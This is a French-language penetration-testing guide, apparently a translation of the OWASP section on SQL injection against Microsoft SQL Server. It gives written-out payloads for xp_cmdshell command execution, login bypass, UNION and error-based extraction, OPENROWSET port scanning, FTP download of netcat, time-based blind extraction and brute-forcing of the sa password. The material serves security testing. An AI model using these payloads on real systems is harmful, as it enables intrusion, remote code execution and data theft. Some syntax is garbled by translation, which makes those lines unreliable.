Table of Contents
Résumé
Dans cette section nous allons voir quelques techniques d'injection SQL qui utilisent des caractéristiques spécifiques de Microsoft SQL Server.
Description
Les vulnérabilités d'injection SQL se produisent chaque fois que l'entrée est utilisé dans la construction d'une requête SQL sans avoir été dûment contrainte ou désinfectée. L'utilisation de SQL dynamique (la construction de requêtes SQL par concaténation de chaînes de caractères) ouvre la porte à ces vulnérabilités. L'injection SQL permet à un attaquant d'accéder à des serveurs SQL et d'exécuter du code SQL avec les privilèges de l'utilisateur utilisé pour se connecter à la base de données.
Comme il est expliqué dans l'injection SQL, un exploit par injection SQL nécessite deux choses: un point d'entrée et un exploit. Tous les paramètres rentrés par l'utilisateur et qui sont traités par l'application pourraient cacher une vulnérabilité de ce type. Cela comprend:
- Les paramètres d'application dans les chaînes de requête (par exemple, les requêtes GET)
- Les paramètres de l'application inclus dans le corps d'une requête POST
- Les informations liées au Navigateur(par exemple, user-agent, référent)
- Les informations relatives à l'Hôte(par exemple, le nom d'hôte, l'adresse IP)
- Les informations liées à la Session (par exemple, l'ID utilisateur, les cookies)
Microsoft SQL Server a quelques caractéristiques uniques, de sorte que certains exploits ont besoin d'être spécialement conçus pour cette application.
Test boîte noire
Caractéristiques de SQL Server
Pour commencer, nous allons voir certains opérateurs SQL Server et les commandes / procédures stockées qui sont utiles dans un test d'injection SQL:
- Opérateur de commentaire : - (utile pour forcer la requête à ignorer le reste de la requête d'origine, ce qui ne sera pas nécessaire dans tous les cas)
- Séparateur de requête: , (virgule)
- Procédures stockées utiles suivantes :'
- [Xpcmdshell] exécute une commande shell sur le serveur avec les mêmes autorisations que ce qui est en cours d'exécution. Par défaut, seul l'administrateur est autorisé à l'utiliser et dans SQL Server 2005, il est désactivé par défaut (il peut être activé à nouveau l'aide de spconfigure) * xpregread lit une valeur arbitraire à partir du Registre (procédure élargie non documentée) * xpregwrite écrit une valeur arbitraire dans le registre (procédure élargie non documentée) * [Spmakewebtask] Ouvre un shell de commande Windows et passe une chaîne d'exécution. Toute sortie est retournée sous forme de lignes de texte. Il nécessite des privilèges sysadmin. * [Xp_sendmail] Envoie un message e-mail, qui peut inclure une pièce jointe résultat de la requête, aux destinataires spécifiés. Cette procédure stockée étendue utilise SQL Mail pour envoyer le message. Voyons maintenant quelques exemples de certaines attaques SQL Server qui utilisent les fonctions précitées. La plupart de ces exemples utilisent la fonction exec. L'exemple ci-dessous nous montre comment exécuter une commande shell qui écrit le résultat de la commande dir c:\inetpub dans un fichier consultable, en supposant que le serveur Web et le serveur de base résident sur le même hôte. La syntaxe suivante utilise xp_cmdshell: <code>exec master.dbo.xpcmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'– </code> Alternativement, on peut utiliser spmakewebtask: <code>exec spmakewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'– </code> Une exécution réussie créera un fichier qui peut être consulté par le testeur. Gardez à l'esprit que spmakewebtask est obsolète, et que, même si il fonctionne dans toutes les versions de SQL Server jusqu'en 2005, il pourrait être supprimé dans le futur. En outre, SQL Server intègre des fonctions et des variables d'environnement très pratiques. L'exemple suivant utilise la fonction db_name() pour déclencher une erreur qui retourne le nom de la base de données: <code>/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name()) </code> Notez l'utilisation de [convert]: <code>CONVERT (typedonnées [(longueur)], expression [, style]) </code> CONVERT va essayer de convertir le résultat de dbname (une chaîne) en une variable de type entier, ce qui déclenche une erreur, qui, si elle est affichée par l'application vulnérable, contiendra le nom de la base de données. L'exemple suivant utilise la variable d'environnement @@version, combinée à une injection de type “union select”, afin de trouver la version de SQL Server. <code>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20– </code> Et voici la même attaque, mais en utilisant à nouveau le tour de conversion: <code>/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION) </code> La collecte d'information est utile pour exploiter les vulnérabilités des logiciels sur le serveur SQL, grâce à l'exploitation d'une attaque par injection SQL ou un accès direct de l'auditeur à SQL. Dans ce qui suit, nous montrons plusieurs exemples qui exploitent les vulnérabilités d'injection SQL par le biais des points d'entrée différents. ## Exemple 1: Essais pour injection SQL dans une requête GET. ## Le cas le plus simple (et parfois plus gratifiant) serait celle d'une page de connexion demandant un nom d'utilisateur et mot de passe pour la connexion de l'utilisateur. Vous pouvez essayer d'entrer la chaîne suivante “' or '1'='1” (sans les doubles quotes): <code>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1 </code> Si l'application utilise des requêtes SQL dynamiques, et joint la chaîne à la requête de validation des informations d'identification utilisateur, il peut en résulter une connexion réussie à l'application. ## Exemple 2: Essai pour injection SQL dans une requête GET ## Pour apprendre combien colonnes existent <code>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;– </code> ## Exemple 3: Essais dans une requête SQL Injection POST, ## Le contenu du HTTP POST suivant : email=%27&whichSubmit=submit&submit.x=0&submit.y=0 Va retourner par exemple : <code>POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1 Host: vulnerable.web.app User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50 … email=%27&whichSubmit=submit&submit.x=0&submit.y=0 </code> ## Exemple 4: Encore un autre exemple GET (utile) ## Pour obtenir le code source de l'application <code>a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';– </code> ## Exemple 5: xp_cmdshell personnalisé ## Tous les livres et documents décrivant les meilleures pratiques de sécurité pour SQL Server recommandent de désactiver xp_cmdshell dans SQL Server 2000 (dans SQL Server 2005, il est désactivé par défaut). Cependant, si nous avons des droits sysadmin (nativement ou par force brute du mot de passe administrateur, voir ci-dessous), on peut souvent contourner cette limitation. ### Sur SQL Server 2000: ### Si xpcmdshell a été désactivé avec spdropextendedproc, nous pouvons simplement injecter le code suivant: <code>spaddextendedproc 'xpcmdshell','xplog70.dll' </code> Si le code précédent ne fonctionne pas, cela signifie que le xplog70.dll a été déplacé ou supprimé. Dans ce cas, nous avons besoin d'injecter du code ci-dessous: <code>CREATE PROCEDURE xpcmdshell(@cmd varchar(255), @Wait int = 0) AS DECLARE @result int, @OLEResult int, @RunResult int DECLARE @ShellID int EXECUTE @OLEResult = spOACreate 'WScript.Shell', @ShellID OUT IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = spOAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult <> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult) EXECUTE @OLEResult = spOADestroy @ShellID return @result </code> Ce code, écrit par Antonin Foller (voir liens en bas de la page), crée un nouveau xpcmdshell en utilisant spOACreate, spOAMethod et spOADestroy (tant qu'ils n'ont pas été désactivés aussi, bien sûr). Avant de l'utiliser, il faut supprimer le xp_cmdshell avant de le recréer (même si ça ne fonctionnait pas), sinon les deux déclarations entreront en collision. ### Sur SQL Server 2005 ### xp_cmdshell peut être activée en injectant le code suivant : <code>master..spconfigure 'show advanced options',1 reconfigure master..spconfigure 'xp_cmdshell',1 reconfigure </code> ## Exemple 6: Referer / User-Agent ## L'en-tête REFERER réglé comme cela : <code>Referer: https://vulnerable.web.app/login.aspx', 'useragent', 'someip'); [SQL CODE]– </code> Permet l'exécution de code SQL arbitraire. La même chose arrive avec l'en-tête User-Agent réglé comme ceci: <code>User-Agent: useragent', 'someip'); [SQL CODE]– </code> ## Exemple 7: SQL Server en tant que scanner de port ## Dans SQL, l'une des commandes les plus utiles (au moins pour le testeur de pénétration) est OPENROWSET, qui est utilisé pour exécuter une requête sur un autre serveur de base et récupérer les résultats. Le testeur de pénétration peut utiliser cette commande pour scanner les ports d'autres machines du réseau cible, en injection la requête suivante: <code>select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')– </code> Cette requête va tenter une connexion à l'adresse x.y.w.z sur le port p. Si le port est fermé, le message suivant sera retourné: <code>SQL Server does not exist or access denied </code> D'autre part, si le port est ouvert, l'une des erreurs suivantes sera retournée: <code>General network error. Check your network documentation OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error. </code> Bien sûr, le message d'erreur n'est pas toujours disponible. Si tel est le cas, nous pouvons utiliser le temps de réponse pour comprendre ce qui se passe: si un port est fermé, le délai d'attente (5 secondes dans cet exemple) sera consommé, tandis qu'un port ouvert retournera le résultat tout de suite. Gardez à l'esprit que OPENROWSET est activée par défaut dans SQL Server 2000, mais désactivée dans SQL Server 2005. ## Exemple 8: Envoyez des executables ## Une fois que nous pouvons utiliser xp_cmdshell (soit le natif ou un autre), on peut facilement télécharger des fichiers exécutables sur le serveur DB cible. Un choix très courant est netcat.exe, mais n'importe quel cheval de Troie sera utile ici. Si la cible est autorisée à démarrer les connexions FTP sur la machine du testeur, tout ce qui est nécessaire, c'est d'injecter les requêtes suivantes: <code>exec master..xpcmdshell 'echo open ftp.tester.org > ftpscript.txt';– exec master..xpcmdshell 'echo USER » ftpscript.txt';– exec master..xpcmdshell 'echo PASS » ftpscript.txt';– exec master..xpcmdshell 'echo bin » ftpscript.txt';– exec master..xpcmdshell 'echo get nc.exe » ftpscript.txt';– exec master..xpcmdshell 'echo quit » ftpscript.txt';– exec master..xp_cmdshell 'ftp -s:ftpscript.txt';– </code> À ce stade, nc.exe sera téléchargé et disponible. Si FTP n'est pas autorisé par le pare-feu, nous avons une solution qui exploite le débogueur Windows, debug.exe, qui est installé par défaut dans toutes les machines Windows. Debug.exe est scriptable et est capable de créer un exécutable en exécutant un fichier script approprié. Ce que nous devons faire est de convertir le fichier exécutable ens un script de débogage (qui est un fichier100% ASCII ), téléchargez-le ligne par ligne, et enfin appeler debug.exe sur lui. Il existe plusieurs outils qui créent des fichiers de débogage telles (par exemple: makescr.exe par Ollie Whitehouse et dbgtool.exe par toolcrypt.org). Les requêtes injectées seront donc les suivantes: <code>exec master..xpcmdshell 'echo [debug script line #1 of n] > debugscript.txt';– exec master..xpcmdshell 'echo [debug script line #2 of n] » debugscript.txt';– …. exec master..xpcmdshell 'echo [debug script line #n of n] » debugscript.txt';– exec master..xpcmdshell 'debug.exe < debugscript.txt';– </code> À ce stade, notre exécutable est disponible sur la machine cible, et prêt à être exécuté. Il existe des outils qui permettent d'automatiser ce processus, notamment Bobcat, qui fonctionne sur Windows et Sqlninja, qui tourne sous Unix (Voir les outils au bas de cette page). ## Obtenir des informations out of bande ## Non, tout n'est pas perdu lorsque l'application Web ne renvoie pas toutes les informations - telles que des messages d'erreur descriptives (cf. Injection SQL aveugle). Par exemple, il peut arriver que l'on ai accès au code source (par exemple, parce que l'application Web est basée sur un logiciel open source). Ensuite, le testeur peut exploiter toutes les vulnérabilités d'injection SQL découvertes hors ligne dans l'application Web. Bien que l'IPS peut cesser certaines de ces attaques, le meilleur moyen serait de procéder comme suit: développer et tester les attaques sur un banc d'essai créé à cet effet, puis exécuter ces attaques contre l'application Web en cours de test. D'autres options pour réaliser des attaques out of band sont décrites dans l'exemple 4 ci-dessus. ## Attaques en injection SQL aveugles) ## ### Essais et erreurs ### L'attaquant peut supposer qu'il existe un vulnérabilité d'injection SQL stockée ou out-of-band dans une application sur le Web. Il choisira ensuite un vecteur d'attaque (par exemple, une entrée Web), utiliser des vecteurs fuzz (1) contre ce canal et regarder la réponse. Par exemple, si l'application Web recherche un livre en utilisant une requête <code> select * from books where title=text entered by the user </code> alors le testeur pourrait entrer dans le texte: 'Bomba' OR 1=1- et si les données ne sont pas correctement validées, la requête retournera la liste complète des livres. C'est la preuve qu'il existe une vulnérabilité d'injection SQL. Le testeur de pénétration peut ensuite jouer avec les requêtes afin d'évaluer la criticité de cette vulnérabilité. ### Si plus d'un message d'erreur est affiché ### Et que d'autre part, il n'y a aucune information, il y a toujours une possibilité d'attaquer en exploitant un canal caché. Il peut arriver que des messages d'erreur descriptives sont arrêtés, mais les messages d'erreur donnent quelques informations. Par exemple: Dans certains cas, l'application web (en fait le serveur web) peut renvoyer le traditionnel 500: Erreur interne, par exemple lorsque l'application renvoie une exception qui pourrait être générée par une requête avec des doubles quotes non fermés. Alors que dans d'autres cas, le serveur renvoie un message 200 OK, mais l'application Web retourne une message d'erreur introduit le développeur pour l'erreur interne du serveur ou des données erronées. Ce morceau d'information récupéré pourrait être suffisant pour comprendre comment la requête SQL dynamique est construite par l'application web et mettre au point un exploit. Une autre méthode out-of-band est d'afficher les résultats dans des fichiers HTTP. ### Attaque de temps de réponse ### Il y a encore une possibilité de faire une attaque par injection SQL aveugle quand les commentaires de l'application ne sont pas visibles: en mesurant le temps que l'application Web prend pour répondre à une demande. Une attaque de ce type est décrit par Anley dans ([2]) d'où nous prenons les exemples suivants. Une approche typique consiste à utiliser la commande retard waitfor: disons par exemple que l'attaquant veut vérifier si les données 'pubs' existent, il suffit d'injecter la commande suivante: <code>if exists (select * from pubs..pub_info) waitfor delay '0:0:5' </code> Selon le temps que la requête met pour retourner, nous connaissons la réponse. En fait nous découvrons ici deux choses: une vulnérabilité d'injection SQL et un canal caché qui permet au testeur la pénétration pour obtenir un morceau d'information pour chaque requête. Ainsi, en utilisant plusieurs requêtes (autant de requêtes que de morceaux dans l'information requise) le testeur stylo peut obtenir toutes les données qui se trouve dans la base de données. Regardez la requête suivante <code>declare @s varchar(8000) declare @i int select @s = db_name() select @i = [some value] if (select len(@s)) < @i waitfor delay '0:0:5' </code> En mesurant le temps de réponse et en utilisant différentes valeurs pour @ i, on peut en déduire la longueur du nom de la base de données courante, puis commencer à extraire le nom lui-même avec la requête suivante: <code>if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5' </code> Cette requête va attendre 5 secondes si le morceau “@bit” correspond à une caractère de l'ensemble “@byte ' du nom de la base de données actuelle, sinon elle répondra immédiatement. Par l'imbrication de deux cycles (un pour chaque octet de l'ensemble @Byte et l'autre pour chaque @bit), nous nous sommes capables d'extraire le morceau entier de l'information. Cependant, il peut arriver que la commande waitfor ne soit pas disponible (par exemple, car elle est filtrée par un IPS / pare-feu d'application Web). Cela ne veut pas dire que les attaques par injection SQL aveugle ne sont plus possibles, mais le testeur doit utiliser une opération longue qui n'est pas filtrée. Par exemple <code>declare @i int select @i = 0 while @i < 0xaffff begin select @i = @i + 1 end </code> ### Vérification de la version et des vulnerabilités ### Cette même approche basée sur le timing peut être utilisé aussi pour comprendre quelle version de SQL Server nous étudions. Bien sûr, nous mettrons à profit le variable @version. Considérons la requête suivante: <code>select @@version </code> Sur SQL Server 2005, cela retournera quelque chose comme ce qui suit: <code>Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip> </code> La partie '2005 'de la chaîne s'étend du caractère 22 au caractère 25. Par conséquent, une requête à injecter peut être la suivante: <code>if substring((select @@version),25,1) = 5 waitfor delay '0:0:5' </code> Si Cette requête attend 5 secondes si le caractère 25 de la variable @@version est '5 ', cela nous montre que nous avons affaire à un serveur SQL Server 2005. Si la requête retourne immédiatement le résulat, nous sommes probablement face à un SQL Server 2000, et une autre requête similaire aidera à effacer tous les doutes. ## Exemple 9: bruteforce du mot de passe sysadmin ## Pour bruteforcer le mot de passe administrateur, nous pouvons miser sur le fait que OPENROWSET a besoins des pouvoirs nécessaires pour réaliser avec succès la connexion et qu'un tel lien peut aussi être établi vers le serveur de base de données locale. En combinaint ces caractéristiques avec une injection aveugle selon le temps de réponse, nous pouvons injecter le code suivant: <code>select * from OPENROWSET('SQLOLEDB',;'sa';'<pwd>','select 1;waitfor delay 0:0:5 ') </code> Ce que nous faisons ici est de tenter une connexion à la base de données locale (spécifié par le champ vide après «SQLOLEDB») avec le loggin “sa” et ”<pwd>“. Si le mot de passe est correct et la connexion est établie, la requête est exécutée, ce qui fait que la DB va attendre 5 secondes (et aussi retourner une valeur, puisque OPENROWSET s'attend à au moins une colonne).L'obtention des mots de passe à partir d'une liste de mots candidats et de la mesure du temps nécessaire pour chaque connexion, on peut tenter de deviner le mot de passe correct. Dans “Data-mining with SQL Injection and Inference”, David Litchfield pousse encore plus loin cette technique, par l'injection d'un morceau de code pour bruteforcer le mot de passe administrateur à l'aide des ressources du processeur du serveur de base de données lui-même. Une fois que nous avons le mot de passe administrateur, nous avons deux choix: Injecter toutes les requêtes suivantes en utilisant OPENROWSET, afin de pouvoir utiliser des privilèges sysadmin Ajoutez notre utilisateur actuel au groupe sysadmin enutilisant spaddsrvrolemember. Le nom d'utilisateur actuel peut être extrait à l'aide d'injection aveugles contre la variable SYSTEMUSER. Rappelez-vous que OPENROWSET est accessible à tous les utilisateurs sur SQL Server 2000, mais est limitée aux comptes administrateurs sur SQL Server 2005. # Références # ## Livres blancs ## * David Litchfield: “Data-mining with SQL Injection and Inference” - http://www.databasesecurity.com/webapps/sqlinference.pdf * Chris Anley, ”(more) Advanced SQL Injection“ - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf * Steve Friedl's Unixwiz.net Tech Tips: “SQL Injection Attacks by Example” - http://www.unixwiz.net/techtips/sql-injection.html * Alexander Chigrik: “Useful undocumented extended stored procedures” - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm * Antonin Foller: “Custom xpcmdshell, using shell object” - http://www.motobit.com/tips/detpg_cmdshell * Paul Litwin: “Stop SQL Injection Attacks Before They Stop You” - http://msdn.microsoft.com/en-us/magazine/cc163917.aspx * SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx * Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS ## Outils ## * Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector] * Northern Monkee: [Bobcat] * icesurfer: SQL Server Takeover Tool - [sqlninja] * Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
